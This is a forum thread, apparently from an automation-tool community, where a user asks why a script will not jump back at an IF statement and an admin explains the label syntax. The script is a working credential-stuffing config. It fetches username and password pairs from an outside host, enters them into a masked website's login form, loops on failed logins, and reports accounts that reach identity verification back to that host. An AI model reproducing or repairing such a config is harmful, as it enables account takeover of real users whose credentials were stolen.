Help me, trouble IF



  • please tell me where the error is, the script goes all the way to IF, and then doesn’t want to jump

    BROWSERACTION Open 
    
    NAVIGATE "https://****ar.o****.com/SignIn.aspx" 
    
    FUNCTION Delay "5000" 
    
    #GET1
    REQUEST GET "http://ka*****s.space/select.php" AcceptEncoding=FALSE AutoRedirect=FALSE 
      
      HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 
      HEADER "Pragma: no-cache" 
      HEADER "Accept: */*" 
    
    PARSE "<SOURCE>" LR "str\">@" ":" -> VAR "US" 
    
    PARSE "<SOURCE>" LR ":" "@</div" -> VAR "PS" 
    
    PARSE "<SOURCE>" LR "<div id=\"idstr\">" "</div" -> VAR "ID" 
    
    ELEMENTACTION XPath "//*[@id=\"M_layout_content_PCDZ_MMCA7G7_ctl00_webInputForm_txtLoginName\"]" 
      SendKeys "<US>" 
    
    ELEMENTACTION XPath "//*[@id=\"M_layout_content_PCDZ_MMCA7G7_ctl00_webInputForm_txtPassword\"]" 
      SendKeys "<PS>" 
    
    ELEMENTACTION XPath "//*[@id=\"myCmdContinue\"]" 
      Click 
    
    FUNCTION Delay "3500" 
    
    IF "<SOURCE>" Contains "Trouble logging in"
    JUMP #GET1
    ENDIF
    IF "<SOURCE>" Contains "Identity Verification"
    
    REQUEST GET "http://k****.space/good.php/?id=<ID>" AcceptEncoding=FALSE AutoRedirect=FALSE 
      
    
    SET STATUS SUCCESS
    JUMP #GET1
    ENDIF
    
    
    

  • Admin

    That's because #GET1 must go on the same line of the request if you don't indent.
    #GET1 REQUEST



  • @Ruri I did not quite understand


  • Admin

    You put your #GET1 in a separate line, before REQUEST. That is wrong! It must be on the same line like this #GET1 REQUEST GET ...


Log in to reply